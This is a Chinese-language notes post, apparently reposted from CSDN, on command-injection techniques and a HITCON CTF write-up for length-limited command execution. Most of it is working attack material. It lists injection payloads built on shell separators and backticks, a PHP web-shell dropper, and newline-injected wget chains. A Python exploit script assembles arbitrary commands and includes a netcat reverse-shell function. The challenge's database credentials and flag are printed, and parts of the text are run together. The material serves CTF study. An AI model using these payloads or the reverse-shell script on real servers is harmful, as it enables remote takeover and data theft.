命令注入(Command Injection)Eval 注入(Eval Injection)客户端脚本攻击(Script Insertion)跨网站脚本攻击(Cross Site Scripting, XSS)SQL 注入攻击(SQL injection)动态函数注入攻击(Dynamic Variable Evaluation)序列化注入&对象注入

    类似于    ？url=php://input    postdata = <?php  system('ls'); ?>

（1）在PHP中常用到以下几个函数来执行外部命令：     system     exec     passthru     shell_exec（2）python的：　　　-*-command：system\popen\subprocess.call\spawn　　　-*-code: map\filter\reduce\...　

# python 函数名可以直接作为普通函数的参数的，理论上，如果定义了这样的函数都危险def myreduce(funcname,param):    return funcname(param)

(3)java的：　　-*-command：java.lang.Runtime.getRuntime().exec(command)　　_*_code:不太懂java，这方面的接触实在不多。

<?php   if( isset( $_POST[ 'submit' ] ) )    {        $target = $_POST[ 'target' ];        if (stristr(php_uname('s'), 'Windows NT')) {              $cmd = 'ping ' . $target;        } else {              $cmd = 'ping -c 3 ' . $target;        }        $res = shell_exec( $cmd );        echo "<br /><pre>$cmd\r\n".iconv('GB2312', 'UTF-        8',$res)."</pre>";   }?>

& 表示先执行CMD1 再执行CMD2，这里不考虑CMD1是否成功。使用CMD1 & CMD2&& 表示先执行CMD1，成功后再执行CMD，否则不执行CMD2。使用CMD1 && CMD2|| 先执行CMD1，CMD1执行成功就不再执行CMD2，CMD1执行失败则执行CMD2。使用CMD1 || CMD2

cmd = 127.0.0.1 | whoamicmd = 127.0.0.1 & whoamicmd = 127.0.0.1 && whoamicmd = `whoami`cmd = '/"|whoami（这里意思是用'/"引号闭合前面 /->表示或）

有回显的：whoami id（验证类）没有回显的：nslookup wget 等看请求、dnslog httplog等 （验证类）弹shell必须的，参考我自己的（http://www.cnblogs.com/KevinGeorge/p/8120226.html） 

php的：检测phpinfo();攻击代码任意。python的：import time;time.sleep(20),攻击代码任意。java的：我是弱鸡想不到啊。2018.8.5补充：$() 会将里面的字符当做命令执行  支持使用一定的编码  echo $(print(xxxxxxx))` ` 反引号中的也会当命令执  ping ‘whoami’

禁止相关函数过滤输入制定可输入内容

<?php    highlight_file(__FILE__);    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];    if ( !file_exists($dir) )        mkdir($dir);    chdir($dir);    $args = $_GET['args'];    for ( $i=0; $i<count($args); $i++ ){        if ( !preg_match('/^\w+$/', $args[$i]) )            exit();    }
    exec("/bin/orange " . implode(" ", $args));?>

http://localhost/?args[0]=x%0a   //%0a为换行的意思&args[1]=mkdir&args[2]=orange%0a  //创建目录&args[3]=cd&args[4]=orange%0a   //进入目录&args[5]=wget&args[6]=846465263%0a  //获取文件
http://localhost/?args[0]=x%0a&args[1]=tar&args[2]=cvf&args[3]=aa&args[4]=orange%0a  //解压文件&args[5]=php&args[6]=aa  //运行文件

//我们的需要是这样的mkdir exploitcd exploitwget 92775836tar cvf archived exploitphp archived

//"exploit"大概是这么样的 :<?phpfile_put_contents('shell.php', '    <?php    header("Content-Type: text/plain");    print shell_exec($_GET["cmd"]);    ?>');?>

<?php    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);    @mkdir($sandbox);    @chdir($sandbox);    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {        @exec($_GET['cmd']);    } else if (isset($_GET['reset'])) {        @exec('/bin/rm -rf ' . $sandbox);    }    highlight_file(__FILE__);?>

echo\ "chy\beta"   //这是可以正常使用的

-t\>qa  //这之前的命令虽然是错的，但不会影响l\s \-t\>q   //实际输出的命令为 ls -t>q

>-t\>\>q>l\>s\ \ls>als>>a

>*48>173\>077\>\ 2\>et\>wg\

?cmd=rm%20i*   // 删除index.html?cmd=sh%20a    // 执行文件q，即wget新的index.html?cmd=sh%20i*   // 执行index.html中的shell命令

Flag is in the MySQL databasefl4444g / SugZXUtgeJ52_Bvr

mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > kk5// 访问：http://52.199.204.34/sandbox/对应md5/kk5， 得到：Databaseinformation_schemafl4gdb
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x666c34676462" > kk7//访问：http://52.199.204.34/sandbox/对应md5/kk7， 得到：GROUP_CONCAT(table_name)this_is_the_fl4g
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "(SELECT * FROM fl4gdb.this_is_the_fl4g" >　kk9//访问：http://52.199.204.34/sandbox/对应md5/kk9， 得到：secrethitcon{idea_from_phith0n,thank_you:)}

>4845  //ascii文件ls>>y  //追加到y rm 4*  //删除ascii文件>4c4c  //以上的不断重复ls>>yrm 4*>4fls>>yrm 4*  //到此为止 y中的内容为    4845.y.4c4c.y.4f.y. 这里使用.表示换行>z    //创建目标文件>-p   //创建参数文件>-r   //目录下排序为  -p -r y zxxd * //相当于执行 xxd -p -r y z      //将y中的可acsii反向的数据反向之后持续的输出到z 即为hello 中间的没用的都被去除了

    cat\     flag\    .txt\

mkfifo f; nc <host> <port> <f | bash >f 2>f

import requests as rqimport hashlib as himport binascii as ba
url = "http://52.199.204.34/"ipify = "https://api.ipify.org"
def get_ip():    r = rq.get(ipify)    return r.text
folder = h.md5(b"orange" + get_ip().encode()).hexdigest()
def reset():    rq.get(url, params = {        "reset": 1    })
def cmd(c):    rq.get(url, params = {        "cmd": c    })
def read(f):    r = rq.get(url + "sandbox/" + folder + "/" + f)    if r.status_code == 200:        return r.text
def long_cmd(cmd_text):    reset()    cmd_bytes = cmd_text.encode()    for i in range(0, len(cmd_bytes), 2):        cur_bytes = cmd_bytes[i:i + 2]        print("writing '{}'".format(cur_bytes.decode()))        hex_chars = ba.hexlify(cur_bytes).decode()        cmd(">" + hex_chars)        cmd("ls>>y")        cmd("rm " + hex_chars[0] + "*")    cmd(">z")    cmd(">-p")    cmd(">-r")    cmd("xxd *")    cmd("sh z")    return read("o")
def shell(cmd_text):    print(long_cmd(cmd_text))
def rshell(host, port):    long_cmd("mkfifo f; nc {} {} <f | bash >f 2>f".format(host, port))

Flag is in the MySQL databasefl4444g / SugZXUtgeJ52_Bvr

$ mysql -ufl4444g -pSugZXUtgeJ52_Bvrmysql> SHOW DATABASES;Databaseinformation_schemafl4gdbmysql> use fl4gdb;SHOW TABLES;Tables_in_fl4gdbthis_is_the_fl4gmysql> SELECT * FROM this_is_the_fl4g;secrethitcon{idea_from_phith0n,thank_you:)}

<?php    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);    @mkdir($sandbox);    @chdir($sandbox);    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {        @exec($_GET['cmd']);    } else if (isset($_GET['reset'])) {        @exec('/bin/rm -rf ' . $sandbox);    }    highlight_file(__FILE__);?>

trick1     命令组装 dir a b >ctrick2     通配符的妙用 *v=rev vtrick3     按时间顺序排列文件 ls -ttrick4     命令续行 

版权声明：本文为CSDN博主「iamsongyu」的原创文章：原文链接：https://blog.csdn.net/iamsongyu/article/details/84483638--------------------------------未整理-------------------------------参考 https://www.cnblogs.com/KevinGeorge/p/8232430.htmlhttps://blog.csdn.net/kuiguowei/article/details/79045215?utm_source=blogxgwz9